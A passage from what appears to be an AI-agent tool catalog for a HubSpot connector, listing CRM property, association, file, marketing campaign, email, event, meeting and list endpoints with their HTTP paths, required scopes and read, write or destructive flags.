/api/v1/hubspot/crm/v3/properties/{objectType}/batch/archive. Scopes: crm.schemas.companies.write, crm.schemas.contacts.write, crm.schemas.custom.write, crm.schemas.deals.write, crm.schemas.quotes.write, tickets. hubspot_post_crm_v3_properties_by_objecttype_batch_create (write) — Create a batch of properties. Create a batch of properties using the same rules as when creating an individual property. Properties are the FIELD DEFINITIONS on an object type - name, type, options, group. Reading them is what turns an opaque property key in a record into something an agent can describe, and what tells a write which keys are legal. Property reads are the highest-value diagnostic read in this connector. Calls POST /crm/v3/properties/{objectType}/batch/create on api.hubapi.com. Requires the HubSpot scopes crm.schemas.contacts.write, crm.schemas.companies.write, crm.schemas.deals.write, crm.schemas.quotes.write, crm.schemas.custom.write, tickets. POST /api/v1/hubspot/crm/v3/properties/{objectType}/batch/create. Scopes: crm.schemas.companies.write, crm.schemas.contacts.write, crm.schemas.custom.write, crm.schemas.deals.write, crm.schemas.quotes.write, tickets. hubspot_post_crm_v3_properties_by_objecttype_batch_read (read) — Read a batch of properties. Read a provided list of properties. Properties are the FIELD DEFINITIONS on an object type - name, type, options, group. Reading them is what turns an opaque property key in a record into something an agent can describe, and what tells a write which keys are legal. Property reads are the highest-value diagnostic read in this connector. Calls POST /crm/v3/properties/{objectType}/batch/read on api.hubapi.com. Requires the HubSpot scopes crm.schemas.custom.read, crm.objects.contacts.read, crm.objects.companies.read, crm.objects.deals.read, tickets. POST /api/v1/hubspot/crm/v3/properties/{objectType}/batch/read. Scopes: crm.objects.companies.read, crm.objects.contacts.read, crm.objects.deals.read, crm.schemas.custom.read, tickets. hubspot_post_crm_v3_properties_by_objecttype_groups (write) — Create a property group. Create and return a copy of a new property group. Properties are the FIELD DEFINITIONS on an object type - name, type, options, group. Reading them is what turns an opaque property key in a record into something an agent can describe, and what tells a write which keys are legal. Property reads are the highest-value diagnostic read in this connector. Calls POST /crm/v3/properties/{objectType}/groups on api.hubapi.com. Requires the HubSpot scopes crm.schemas.contacts.write, crm.schemas.companies.write, crm.schemas.deals.write, crm.schemas.quotes.write, crm.schemas.custom.write, tickets. POST /api/v1/hubspot/crm/v3/properties/{objectType}/groups. Scopes: crm.schemas.companies.write, crm.schemas.contacts.write, crm.schemas.custom.write, crm.schemas.deals.write, crm.schemas.quotes.write, tickets. hubspot_post_crm_v4_associations_by_fromobjecttype_by_toobjecttype_batch_archive (write, destructive) — DESTRUCTIVE. Remove associations. Batch delete associations for objects Associations are the links between records - which contacts are on a deal, which company a ticket belongs to. Associations v4 is the current API. A write whose ids came from nowhere is unusable, so the association reads are the ones that make the object reads composable. The inverse is the batch create on the same object family. Calls POST /crm/v4/associations/{fromObjectType}/{toObjectType}/batch/archive on api.hubapi.com. Requires the HubSpot scopes crm.objects.contacts.write, crm.objects.companies.write, crm.objects.deals.write, tickets, crm.objects.line_items.write, crm.objects.quotes.write, crm.objects.custom.write. POST /api/v1/hubspot/crm/v4/associations/{fromObjectType}/{toObjectType}/batch/archive. Scopes: crm.objects.companies.write, crm.objects.contacts.write, crm.objects.custom.write, crm.objects.deals.write, crm.objects.line_items.write, crm.objects.quotes.write, tickets. hubspot_post_crm_v4_associations_by_fromobjecttype_by_toobjecttype_batch_associate_default (write) — Create Default Associations. Create the default (most generic) association type between two object types Associations are the links between records - which contacts are on a deal, which company a ticket belongs to. Associations v4 is the current API. A write whose ids came from nowhere is unusable, so the association reads are the ones that make the object reads composable. Calls POST /crm/v4/associations/{fromObjectType}/{toObjectType}/batch/associate/default on api.hubapi.com. Requires the HubSpot scopes crm.objects.contacts.write, crm.objects.companies.write, crm.objects.deals.write, tickets, crm.objects.line_items.write, crm.objects.quotes.write, crm.objects.custom.write. POST /api/v1/hubspot/crm/v4/associations/{fromObjectType}/{toObjectType}/batch/associate/default. Scopes: crm.objects.companies.write, crm.objects.contacts.write, crm.objects.custom.write, crm.objects.deals.write, crm.objects.line_items.write, crm.objects.quotes.write, tickets. hubspot_post_crm_v4_associations_by_fromobjecttype_by_toobjecttype_batch_create (write) — Associate records (labelled). Batch create associations for objects Associations are the links between records - which contacts are on a deal, which company a ticket belongs to. Associations v4 is the current API. A write whose ids came from nowhere is unusable, so the association reads are the ones that make the object reads composable. Calls POST /crm/v4/associations/{fromObjectType}/{toObjectType}/batch/create on api.hubapi.com. Requires the HubSpot scopes crm.objects.contacts.write, crm.objects.companies.write, crm.objects.deals.write, tickets, crm.objects.line_items.write, crm.objects.quotes.write, crm.objects.custom.write. POST /api/v1/hubspot/crm/v4/associations/{fromObjectType}/{toObjectType}/batch/create. Scopes: crm.objects.companies.write, crm.objects.contacts.write, crm.objects.custom.write, crm.objects.deals.write, crm.objects.line_items.write, crm.objects.quotes.write, tickets. hubspot_post_crm_v4_associations_by_fromobjecttype_by_toobjecttype_batch_labels_archive (write, destructive) — DESTRUCTIVE. Delete Specific Labels. Batch delete specific association labels for objects. Deleting an unlabeled association will also delete all labeled associations between those two objects Associations are the links between records - which contacts are on a deal, which company a ticket belongs to. Associations v4 is the current API. A write whose ids came from nowhere is unusable, so the association reads are the ones that make the object reads composable. Calls POST /crm/v4/associations/{fromObjectType}/{toObjectType}/batch/labels/archive on api.hubapi.com. Requires the HubSpot scopes crm.objects.contacts.write, crm.objects.companies.write, crm.objects.deals.write, tickets, crm.objects.line_items.write, crm.objects.quotes.write, crm.objects.custom.write. POST /api/v1/hubspot/crm/v4/associations/{fromObjectType}/{toObjectType}/batch/labels/archive. Scopes: crm.objects.companies.write, crm.objects.contacts.write, crm.objects.custom.write, crm.objects.deals.write, crm.objects.line_items.write, crm.objects.quotes.write, tickets. hubspot_post_crm_v4_associations_by_fromobjecttype_by_toobjecttype_batch_read (read) — Retrieve associations. Batch read associations for objects to specific object type. The 'after' field in a returned paging object can be added alongside the 'id' to retrieve the next page of associations from that objectId. The 'link' field is deprecated and should be ignored. Note: The 'paging' field will only be present if there are more pages and absent otherwise. Associations are the links between records - which contacts are on a deal, which company a ticket belongs to. Associations v4 is the current API. A write whose ids came from nowhere is unusable, so the association reads are the ones that make the object reads composable. Calls POST /crm/v4/associations/{fromObjectType}/{toObjectType}/batch/read on api.hubapi.com. Requires the HubSpot scopes crm.objects.contacts.read, crm.objects.companies.read, crm.objects.deals.read, tickets, crm.objects.line_items.read, crm.objects.quotes.read, crm.objects.custom.read. POST /api/v1/hubspot/crm/v4/associations/{fromObjectType}/{toObjectType}/batch/read. Scopes: crm.objects.companies.read, crm.objects.contacts.read, crm.objects.custom.read, crm.objects.deals.read, crm.objects.line_items.read, crm.objects.quotes.read, tickets. hubspot_post_crm_v4_associations_usage_high_usage_report_by_userid (write) — Report high usage. Requests a report of all objects in the portal which have a high usage of associations Associations are the links between records - which contacts are on a deal, which company a ticket belongs to. Associations v4 is the current API. A write whose ids came from nowhere is unusable, so the association reads are the ones that make the object reads composable. Calls POST /crm/v4/associations/usage/high-usage-report/{userId} on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.write. POST /api/v1/hubspot/crm/v4/associations/usage/high-usage-report/{userId}. Scopes: crm.objects.contacts.write. hubspot_post_files_v3_files (write) — Upload file. Upload a single file with content specified in request body. The file manager. Files are what a note, email or quote attaches. NOTE: the signed-URL read is deliberately absent - its response is a pre-authenticated URL that grants the bearer the file with no further credential, and no Agentic Fabriq redactor covers a URL. Calls POST /files/v3/files on api.hubapi.com. Requires the HubSpot scope files.ui_hidden.write. POST /api/v1/hubspot/files/v3/files. Scopes: files.ui_hidden.write. hubspot_post_files_v3_files_import_from_url_async (write) — Import file from URL. Asynchronously imports the file at the given URL into the file manager. The file manager. Files are what a note, email or quote attaches. NOTE: the signed-URL read is deliberately absent - its response is a pre-authenticated URL that grants the bearer the file with no further credential, and no Agentic Fabriq redactor covers a URL. Calls POST /files/v3/files/import-from-url/async on api.hubapi.com. Requires the HubSpot scope files.ui_hidden.write. POST /api/v1/hubspot/files/v3/files/import-from-url/async. Scopes: files.ui_hidden.write. hubspot_post_files_v3_folders (write) — Create folder. Creates a folder. The file manager. Files are what a note, email or quote attaches. NOTE: the signed-URL read is deliberately absent - its response is a pre-authenticated URL that grants the bearer the file with no further credential, and no Agentic Fabriq redactor covers a URL. Calls POST /files/v3/folders on api.hubapi.com. Requires the HubSpot scope files.ui_hidden.write. POST /api/v1/hubspot/files/v3/folders. Scopes: files.ui_hidden.write. hubspot_post_files_v3_folders_update_async (write) — Update folder properties. Update properties of folder by given ID. This action happens asynchronously and will update all of the folder's children as well. The file manager. Files are what a note, email or quote attaches. NOTE: the signed-URL read is deliberately absent - its response is a pre-authenticated URL that grants the bearer the file with no further credential, and no Agentic Fabriq redactor covers a URL. Calls POST /files/v3/folders/update/async on api.hubapi.com. Requires the HubSpot scope files.ui_hidden.write. POST /api/v1/hubspot/files/v3/folders/update/async. Scopes: files.ui_hidden.write. hubspot_post_integrators_timeline_v3_events (write) — Send event data (single). Send a single instance of event data to a specified event type. Timeline events are the app-authored entries on a record's activity feed. Calls POST /integrators/timeline/v3/events on api.hubapi.com. Requires the HubSpot scope timeline.write. POST /api/v1/hubspot/integrators/timeline/v3/events. Scopes: timeline.write. hubspot_post_integrators_timeline_v3_events_batch_create (write) — Create multiple events. Batch create multiple instances of timeline events based on an event template. Once created, these event are immutable on the object timeline and cannot be modified. If the event template was configured to update object properties via `objectPropertyName`, this call will also attempt to updates those properties, or add them if they don't exist. Timeline events are the app-authored entries on a record's activity feed. Calls POST /integrators/timeline/v3/events/batch/create on api.hubapi.com. Requires the HubSpot scope timeline.write. POST /api/v1/hubspot/integrators/timeline/v3/events/batch/create. Scopes: timeline.write. hubspot_post_marketing_v3_campaigns (write) — Marketing campaigns, the assets attached to them, their budget and their measured revenue. Calls POST /marketing/v3/campaigns on api.hubapi.com. Requires the HubSpot scope marketing.campaigns.write. POST /api/v1/hubspot/marketing/v3/campaigns. Scopes: marketing.campaigns.write. hubspot_post_marketing_v3_campaigns_batch_archive (write, destructive) — DESTRUCTIVE. Delete a batch of campaigns. This endpoint deletes a batch of campaigns. The maximum number of items in a batch request is 50. The response will always be 204 No Content, regardless of whether the campaigns exist or not, whether they were successfully deleted or not, or if only some of the campaigns in the batch were deleted. Marketing campaigns, the assets attached to them, their budget and their measured revenue. The inverse is the batch create on the same object family. Calls POST /marketing/v3/campaigns/batch/archive on api.hubapi.com. Requires the HubSpot scope marketing.campaigns.write. POST /api/v1/hubspot/marketing/v3/campaigns/batch/archive. Scopes: marketing.campaigns.write. hubspot_post_marketing_v3_campaigns_batch_create (write) — Create a batch of campaigns. This endpoint creates a batch of campaigns. The maximum number of items in a batch request is 50. The campaigns in the response are not guaranteed to be in the same order as they were provided in the request. Marketing campaigns, the assets attached to them, their budget and their measured revenue. Calls POST /marketing/v3/campaigns/batch/create on api.hubapi.com. Requires the HubSpot scope marketing.campaigns.write. POST /api/v1/hubspot/marketing/v3/campaigns/batch/create. Scopes: marketing.campaigns.write. hubspot_post_marketing_v3_campaigns_batch_read (read) — Read a batch of campaigns. This endpoint reads a batch of campaigns based on the provided input data and returns the campaigns along with their associated assets. The maximum number of items in a batch request is 50. The campaigns in the response are not guaranteed to be in the same order as they were provided in the request. If duplicate campaign IDs are provided in the request, duplicates will be ignored. The response will include only unique IDs and will be returned without duplicates. Marketing campaigns, the assets attached to them, their budget and their measured revenue. Calls POST /marketing/v3/campaigns/batch/read on api.hubapi.com. Requires the HubSpot scope marketing.campaigns.read. POST /api/v1/hubspot/marketing/v3/campaigns/batch/read. Scopes: marketing.campaigns.read. hubspot_post_marketing_v3_campaigns_batch_update (write) — Update a batch of campaigns. This endpoint updates a batch of campaigns based on the provided input data. The maximum number of items in a batch request is 50. If an empty string ("") is passed for any property in the Batch Update, it will reset that property's value. Marketing campaigns, the assets attached to them, their budget and their measured revenue. Calls POST /marketing/v3/campaigns/batch/update on api.hubapi.com. Requires the HubSpot scope marketing.campaigns.write. POST /api/v1/hubspot/marketing/v3/campaigns/batch/update. Scopes: marketing.campaigns.write. hubspot_post_marketing_v3_campaigns_by_campaignguid_budget (write) — Add budget item. Add a new budget item to the campaign Marketing campaigns, the assets attached to them, their budget and their measured revenue. Calls POST /marketing/v3/campaigns/{campaignGuid}/budget on api.hubapi.com. Requires the HubSpot scope marketing.campaigns.write. POST /api/v1/hubspot/marketing/v3/campaigns/{campaignGuid}/budget. Scopes: marketing.campaigns.write. hubspot_post_marketing_v3_campaigns_by_campaignguid_spend (write) — Create campaign spend item. Create a new campaign spend item Marketing campaigns, the assets attached to them, their budget and their measured revenue. Calls POST /marketing/v3/campaigns/{campaignGuid}/spend on api.hubapi.com. Requires the HubSpot scope marketing.campaigns.write. POST /api/v1/hubspot/marketing/v3/campaigns/{campaignGuid}/spend. Scopes: marketing.campaigns.write. hubspot_post_marketing_v3_emails (write) — Marketing email assets: drafts, clones, A/B variations, revisions and statistics. Nothing here SENDS to an address the caller names - the publish and send-to-list operations act on an audience HubSpot already holds. Calls POST /marketing/v3/emails on api.hubapi.com. Requires the HubSpot scope marketing.email.write. POST /api/v1/hubspot/marketing/v3/emails. Scopes: marketing.email.write. hubspot_post_marketing_v3_emails_ab_test_create_variation (write) — Create an A/B test variation of a marketing email. Create a variation of a marketing email for an A/B test. The new variation will be created as a draft. If an active variation already exists, a new one won't be created. Marketing email assets: drafts, clones, A/B variations, revisions and statistics. Nothing here SENDS to an address the caller names - the publish and send-to-list operations act on an audience HubSpot already holds. Calls POST /marketing/v3/emails/ab-test/create-variation on api.hubapi.com. Requires the HubSpot scope marketing.email.write. POST /api/v1/hubspot/marketing/v3/emails/ab-test/create-variation. Scopes: marketing.email.write. hubspot_post_marketing_v3_emails_by_emailid_draft_reset (write) — Reset the draft version. Resets the draft back to a copy of the live object. Marketing email assets: drafts, clones, A/B variations, revisions and statistics. Nothing here SENDS to an address the caller names - the publish and send-to-list operations act on an audience HubSpot already holds. Calls POST /marketing/v3/emails/{emailId}/draft/reset on api.hubapi.com. Requires the HubSpot scope marketing.email.write. POST /api/v1/hubspot/marketing/v3/emails/{emailId}/draft/reset. Scopes: marketing.email.write. hubspot_post_marketing_v3_emails_by_emailid_publish (write) — Publish or send a marketing email. If you have a Marketing Hub Enterprise account or the transactional email add-on, you can use this endpoint to publish an automated email or send/schedule a regular email. Marketing email assets: drafts, clones, A/B variations, revisions and statistics. Nothing here SENDS to an address the caller names - the publish and send-to-list operations act on an audience HubSpot already holds. Calls POST /marketing/v3/emails/{emailId}/publish on api.hubapi.com. Requires the HubSpot scope marketing-email. POST /api/v1/hubspot/marketing/v3/emails/{emailId}/publish. Scopes: marketing-email. hubspot_post_marketing_v3_emails_by_emailid_revisions_by_revisionid_restore (write) — Restore a revision of a marketing email. Restores a previous revision of a marketing email. The current revision becomes old, and the restored revision is given a new version number. Marketing email assets: drafts, clones, A/B variations, revisions and statistics. Nothing here SENDS to an address the caller names - the publish and send-to-list operations act on an audience HubSpot already holds. Calls POST /marketing/v3/emails/{emailId}/revisions/{revisionId}/restore on api.hubapi.com. Requires the HubSpot scope marketing.email.write. POST /api/v1/hubspot/marketing/v3/emails/{emailId}/revisions/{revisionId}/restore. Scopes: marketing.email.write. hubspot_post_marketing_v3_emails_by_emailid_revisions_by_revisionid_restore_to_draft (write) — Restore a revision of a marketing email to DRAFT state. Restores a previous revision of a marketing email to DRAFT state. If there is currently something in the draft for that object, it is overwritten. Marketing email assets: drafts, clones, A/B variations, revisions and statistics. Nothing here SENDS to an address the caller names - the publish and send-to-list operations act on an audience HubSpot already holds. Calls POST /marketing/v3/emails/{emailId}/revisions/{revisionId}/restore-to-draft on api.hubapi.com. Requires the HubSpot scope marketing.email.write. POST /api/v1/hubspot/marketing/v3/emails/{emailId}/revisions/{revisionId}/restore-to-draft. Scopes: marketing.email.write. hubspot_post_marketing_v3_emails_by_emailid_unpublish (write) — Unpublish or cancel a marketing email. If you have a Marketing Hub Enterprise account or the transactional email add-on, you can use this endpoint to unpublish an automated email or cancel a regular email. If the email is already in the process of being sent, canceling might not be possible. Marketing email assets: drafts, clones, A/B variations, revisions and statistics. Nothing here SENDS to an address the caller names - the publish and send-to-list operations act on an audience HubSpot already holds. Calls POST /marketing/v3/emails/{emailId}/unpublish on api.hubapi.com. Requires the HubSpot scope marketing-email. POST /api/v1/hubspot/marketing/v3/emails/{emailId}/unpublish. Scopes: marketing-email. hubspot_post_marketing_v3_emails_clone (write) — Clone a marketing email. This will create a duplicate email with the same properties as the original, with the exception of a unique ID. Marketing email assets: drafts, clones, A/B variations, revisions and statistics. Nothing here SENDS to an address the caller names - the publish and send-to-list operations act on an audience HubSpot already holds. Calls POST /marketing/v3/emails/clone on api.hubapi.com. Requires the HubSpot scope marketing.email.write. POST /api/v1/hubspot/marketing/v3/emails/clone. Scopes: marketing.email.write. hubspot_post_marketing_v3_forms (write) — Marketing forms and their field definitions. Reading a form tells an agent which fields a submission may carry. Calls POST /marketing/v3/forms on api.hubapi.com. Requires the HubSpot scope forms. POST /api/v1/hubspot/marketing/v3/forms. Scopes: forms. hubspot_post_marketing_v3_marketing_events_attendance_by_externaleventid_by_subscriberstate_create (write) — Record Participants by ContactId with Marketing Event External Ids. Records the participation of multiple HubSpot contacts in a Marketing Event using their HubSpot contact IDs. Additional Functionality: - Adds a timeline event to the contacts. Allowed Properties: For the state "attend": - joinedAt - leftAt Marketing events - webinars and similar - and their attendance state. Calls POST /marketing/v3/marketing-events/attendance/{externalEventId}/{subscriberState}/create on api.hubapi.com. Requires the HubSpot scope crm.objects.marketing_events.write. POST /api/v1/hubspot/marketing/v3/marketing-events/attendance/{externalEventId}/{subscriberState}/create. Scopes: crm.objects.marketing_events.write. hubspot_post_marketing_v3_marketing_events_attendance_by_externaleventid_by_subscriberstate_email_create (write) — Record Participants by Email with Marketing Event External Ids. Records the participation of multiple HubSpot contacts in a Marketing Event using their email addresses. If a contact does not exist, it will be automatically created. The contactProperties field is used exclusively for creating new contacts and will not update properties of existing contacts. Additional Functionality: - Adds a timeline event to the contacts. Allowed Properties: For the state "attend": - joinedAt - leftAt Marketing events - webinars and similar - and their attendance state. Calls POST /marketing/v3/marketing-events/attendance/{externalEventId}/{subscriberState}/email-create on api.hubapi.com. Requires the HubSpot scope crm.objects.marketing_events.write. POST /api/v1/hubspot/marketing/v3/marketing-events/attendance/{externalEventId}/{subscriberState}/email-create. Scopes: crm.objects.marketing_events.write. hubspot_post_marketing_v3_marketing_events_batch_archive (write, destructive) — DESTRUCTIVE. Delete Multiple Marketing Events by ObjectId. Deletes multiple Marketing Events from the portal based on their objectId, if they exist. Responses: 204: Returned if all specified Marketing Events were successfully deleted. 207: Returned if some objectIds did not correspond to any existing Marketing Events. Marketing events - webinars and similar - and their attendance state. The inverse is the batch create on the same object family. Calls POST /marketing/v3/marketing-events/batch/archive on api.hubapi.com. Requires the HubSpot scope crm.objects.marketing_events.write. POST /api/v1/hubspot/marketing/v3/marketing-events/batch/archive. Scopes: crm.objects.marketing_events.write. hubspot_post_marketing_v3_marketing_events_batch_update (write) — Update Multiple Marketing Events by ObjectId. Updates multiple Marketing Events on the portal based on their objectId, if they exist. Marketing events - webinars and similar - and their attendance state. Calls POST /marketing/v3/marketing-events/batch/update on api.hubapi.com. Requires the HubSpot scope crm.objects.marketing_events.write. POST /api/v1/hubspot/marketing/v3/marketing-events/batch/update. Scopes: crm.objects.marketing_events.write. hubspot_post_marketing_v3_marketing_events_by_objectid_attendance_by_subscriberstate_create (write) — Record Participants by ContactId with Marketing Event Object Id. Records the participation of multiple HubSpot contacts in a Marketing Event using their HubSpot contact IDs. Additional Functionality: - Adds a timeline event to the contacts. Allowed Properties: For the state "attend": - joinedAt - leftAt Marketing events - webinars and similar - and their attendance state. Calls POST /marketing/v3/marketing-events/{objectId}/attendance/{subscriberState}/create on api.hubapi.com. Requires the HubSpot scope crm.objects.marketing_events.write. POST /api/v1/hubspot/marketing/v3/marketing-events/{objectId}/attendance/{subscriberState}/create. Scopes: crm.objects.marketing_events.write. hubspot_post_marketing_v3_marketing_events_by_objectid_attendance_by_subscriberstate_email_create (write) — Record Participants by Email with Marketing Event Object Id. Records the participation of multiple HubSpot contacts in a Marketing Event using their email addresses. If a contact does not exist, it will be automatically created. The contactProperties field is used exclusively for creating new contacts and will not update properties of existing contacts. Additional Functionality: - Adds a timeline event to the contacts. Allowed Properties: For the state "attend": - joinedAt - leftAt Marketing events - webinars and similar - and their attendance state. Calls POST /marketing/v3/marketing-events/{objectId}/attendance/{subscriberState}/email-create on api.hubapi.com. Requires the HubSpot scope crm.objects.marketing_events.write. POST /api/v1/hubspot/marketing/v3/marketing-events/{objectId}/attendance/{subscriberState}/email-create. Scopes: crm.objects.marketing_events.write. hubspot_post_marketing_v3_marketing_events_events (write) — Create a marketing event. Creates a new marketing event in HubSpot Marketing events - webinars and similar - and their attendance state. Calls POST /marketing/v3/marketing-events/events on api.hubapi.com. Requires the HubSpot scope crm.objects.marketing_events.write. POST /api/v1/hubspot/marketing/v3/marketing-events/events. Scopes: crm.objects.marketing_events.write. hubspot_post_marketing_v3_marketing_events_events_by_externaleventid_by_subscriberstate_email_upsert (write) — Record a subscriber state by contact email. Record a subscriber state between multiple HubSpot contacts and a marketing event, using contact email addresses. Note that the contact must already exist in HubSpot; a contact will not be created. The contactProperties field is used only when creating a new contact. These properties will not update existing contacts. Marketing events - webinars and similar - and their attendance state. Calls POST /marketing/v3/marketing-events/events/{externalEventId}/{subscriberState}/email-upsert on api.hubapi.com. Requires the HubSpot scope crm.objects.marketing_events.write. POST /api/v1/hubspot/marketing/v3/marketing-events/events/{externalEventId}/{subscriberState}/email-upsert. Scopes: crm.objects.marketing_events.write. hubspot_post_marketing_v3_marketing_events_events_by_externaleventid_by_subscriberstate_upsert (write) — Record a subscriber state by contact ID. Record a subscriber state between multiple HubSpot contacts and a marketing event, using HubSpot contact IDs. Note that the contact must already exist in HubSpot; a contact will not be created. Marketing events - webinars and similar - and their attendance state. Calls POST /marketing/v3/marketing-events/events/{externalEventId}/{subscriberState}/upsert on api.hubapi.com. Requires the HubSpot scope crm.objects.marketing_events.write. POST /api/v1/hubspot/marketing/v3/marketing-events/events/{externalEventId}/{subscriberState}/upsert. Scopes: crm.objects.marketing_events.write. hubspot_post_marketing_v3_marketing_events_events_by_externaleventid_cancel (write) — Mark a marketing event as cancelled. Mark a marketing event as cancelled. Marketing events - webinars and similar - and their attendance state. Calls POST /marketing/v3/marketing-events/events/{externalEventId}/cancel on api.hubapi.com. Requires the HubSpot scope crm.objects.marketing_events.write. POST /api/v1/hubspot/marketing/v3/marketing-events/events/{externalEventId}/cancel. Scopes: crm.objects.marketing_events.write. hubspot_post_marketing_v3_marketing_events_events_by_externaleventid_complete (write) — Mark a marketing event as completed. Marketing events - webinars and similar - and their attendance state. Calls POST /marketing/v3/marketing-events/events/{externalEventId}/complete on api.hubapi.com. Requires the HubSpot scope crm.objects.marketing_events.write. POST /api/v1/hubspot/marketing/v3/marketing-events/events/{externalEventId}/complete. Scopes: crm.objects.marketing_events.write. hubspot_post_marketing_v3_marketing_events_events_delete (write) — Delete Multiple Marketing Events by External Ids. Deletes multiple Marketing Events based on externalAccountId, externalEventId, and appId. Only Marketing Events created by the same apps will be deleted; events from other apps cannot be removed by this endpoint. Marketing events - webinars and similar - and their attendance state. Calls POST /marketing/v3/marketing-events/events/delete on api.hubapi.com. Requires the HubSpot scope crm.objects.marketing_events.write. POST /api/v1/hubspot/marketing/v3/marketing-events/events/delete. Scopes: crm.objects.marketing_events.write. hubspot_post_marketing_v3_marketing_events_events_upsert (write) — Create or Update Multiple Marketing Events. Upserts multiple Marketing Events. If a Marketing Event with the specified ID already exists, it will be updated; otherwise, a new event will be created. Only Marketing Events originally created by the same app can be updated. Marketing events - webinars and similar - and their attendance state. Calls POST /marketing/v3/marketing-events/events/upsert on api.hubapi.com. Requires the HubSpot scope crm.objects.marketing_events.write. POST /api/v1/hubspot/marketing/v3/marketing-events/events/upsert. Scopes: crm.objects.marketing_events.write. hubspot_post_scheduler_v3_meetings_calendar (write) — Create a new calendar meeting event. Create a new calendar event and meeting object by providing the necessary details such as associations, email reminders, meeting object properties, and timezone. Meeting engagements on a record's timeline. Gated on the contacts scope. Calls POST /scheduler/v3/meetings/calendar on api.hubapi.com. Requires the HubSpot scope meetings-write. POST /api/v1/hubspot/scheduler/v3/meetings/calendar. Scopes: meetings-write. hubspot_post_scheduler_v3_meetings_meeting_links_book (write) — Book a meeting. Book a meeting for a specified meeting page. Meeting engagements on a record's timeline. Gated on the contacts scope. Calls POST /scheduler/v3/meetings/meeting-links/book on api.hubapi.com. Requires the HubSpot scope meetings-write. POST /api/v1/hubspot/scheduler/v3/meetings/meeting-links/book. Scopes: meetings-write. hubspot_put_conversations_conversations_v3_threads_by_threadid_assignee (write) — The shared inbox: threads, messages, actors and channels. Replies go into an existing thread whose participants HubSpot already chose, which is why they ship where a caller-addressed email would not. Calls PUT /conversations/conversations/v3/threads/{threadId}/assignee on api.hubapi.com. Requires the HubSpot scope conversations.write. PUT /api/v1/hubspot/conversations/conversations/v3/threads/{threadId}/assignee. Scopes: conversations.write. hubspot_put_crm_associations_v4_by_fromobjecttype_by_toobjecttype_labels (write) — Update association label. Update an existing label that describes the relationship between two specified CRM object types. This allows for modifications to existing association labels to better reflect the nature of the relationship. Association LABELS and definitions: the vocabulary of association types the portal allows, and which pairs of object types may be associated at all. Calls PUT /crm/associations/v4/{fromObjectType}/{toObjectType}/labels on api.hubapi.com. Requires the HubSpot scopes crm.objects.contacts.write, crm.objects.companies.write, crm.objects.deals.write, tickets, crm.objects.line_items.write, crm.objects.quotes.write, crm.objects.custom.write. PUT /api/v1/hubspot/crm/associations/v4/{fromObjectType}/{toObjectType}/labels. Scopes: crm.objects.companies.write, crm.objects.contacts.write, crm.objects.custom.write, crm.objects.deals.write, crm.objects.line_items.write, crm.objects.quotes.write, tickets. hubspot_put_crm_objects_2026_03_by_fromobjecttype_by_fromobjectid_associations_default_by_toobjecttype_by_toobjectid (write) — Recurring Commerce Hub subscriptions. Calls PUT /crm/objects/2026-03/{fromObjectType}/{fromObjectId}/associations/default/{toObjectType}/{toObjectId} on api.hubapi.com. Requires the HubSpot scopes crm.objects.contacts.write, crm.objects.companies.write, crm.objects.deals.write, tickets, crm.objects.line_items.write, crm.objects.quotes.write, crm.objects.custom.write. PUT /api/v1/hubspot/crm/objects/2026-03/{fromObjectType}/{fromObjectId}/associations/default/{toObjectType}/{toObjectId}. Scopes: crm.objects.companies.write, crm.objects.contacts.write, crm.objects.custom.write, crm.objects.deals.write, crm.objects.line_items.write, crm.objects.quotes.write, tickets. hubspot_put_crm_objects_2026_03_by_objecttype_by_objectid_associations_by_toobjecttype_by_toobjectid (write) — Recurring Commerce Hub subscriptions. Calls PUT /crm/objects/2026-03/{objectType}/{objectId}/associations/{toObjectType}/{toObjectId} on api.hubapi.com. Requires the HubSpot scopes crm.objects.contacts.write, crm.objects.companies.write, crm.objects.deals.write, tickets, crm.objects.line_items.write, crm.objects.quotes.write, crm.objects.custom.write. PUT /api/v1/hubspot/crm/objects/2026-03/{objectType}/{objectId}/associations/{toObjectType}/{toObjectId}. Scopes: crm.objects.companies.write, crm.objects.contacts.write, crm.objects.custom.write, crm.objects.deals.write, crm.objects.line_items.write, crm.objects.quotes.write, tickets. hubspot_put_crm_v3_lists_by_listid_memberships_add (write) — Add Records to a List. Add the records provided to the list. Records that do not exist or that are already members of the list are ignored. This endpoint only works for lists that have a `processingType` of `MANUAL` or `SNAPSHOT`. Lists are HubSpot's saved segments - static and active. List membership reads produce the record ids a campaign or a bulk update operates on. Calls PUT /crm/v3/lists/{listId}/memberships/add on api.hubapi.com. Requires the HubSpot scopes crm.lists.read, crm.lists.write. PUT /api/v1/hubspot/crm/v3/lists/{listId}/memberships/add. Scopes: crm.lists.read, crm.lists.write. hubspot_put_crm_v3_lists_by_listid_memberships_add_and_remove (write, destructive) — DESTRUCTIVE. Add and/or Remove Records from a List. Add and/or remove records that have already been created in the system to and/or from a list. This endpoint only works for lists that have a `processingType` of `MANUAL` or `SNAPSHOT`. Lists are HubSpot's saved segments - static and active. List membership reads produce the record ids a campaign or a bulk update operates on. Calls PUT /crm/v3/lists/{listId}/memberships/add-and-remove on api.hubapi.com. Requires the HubSpot scopes crm.lists.read, crm.lists.write. PUT /api/v1/hubspot/crm/v3/lists/{listId}/memberships/add-and-remove. Scopes: crm.lists.read, crm.lists.write. hubspot_put_crm_v3_lists_by_listid_memberships_add_from_by_sourcelistid (write) — Add All Records from a Source List to a Destination List. Add all of the records from a *source list* (specified by the `sourceListId`) to a *destination list* (specified by the `listId`). Records that are already members of the *destination list* will be ignored. The *destination* and *source list* IDs must be different. The *destination* and *source lists* must contain records of the same type (e.g. contacts, companies, etc.). This endpoint only works for *destination lists* that have a `processingType` of `MANUAL` or `SNAPSHOT`. The *source list* can have any `processi... Lists are HubSpot's saved segments - static and active. List membership reads produce the record ids a campaign or a bulk update operates on. Calls PUT /crm/v3/lists/{listId}/memberships/add-from/{sourceListId} on api.hubapi.com. Requires the HubSpot scopes crm.lists.read, crm.lists.write. PUT /api/v1/hubspot/crm/v3/lists/{listId}/memberships/add-from/{sourceListId}. Scopes: crm.lists.read, crm.lists.write. hubspot_put_crm_v3_lists_by_listid_memberships_remove (write, destructive) — DESTRUCTIVE. Remove Records from a List. Remove the records provided from the list. Records that do not exist or that are not members of the list are ignored. This endpoint only works for lists that have a `processingType` of `MANUAL` or `SNAPSHOT`. Lists are HubSpot's saved segments - static and active. List membership reads produce the record ids a campaign or a bulk update operates on. Calls PUT /crm/v3/lists/{listId}/memberships/remove on api.hubapi.com. Requires the HubSpot scopes crm.lists.read, crm.lists.write. PUT /api/v1/hubspot/crm/v3/lists/{listId}/memberships/remove. Scopes: crm.lists.read, 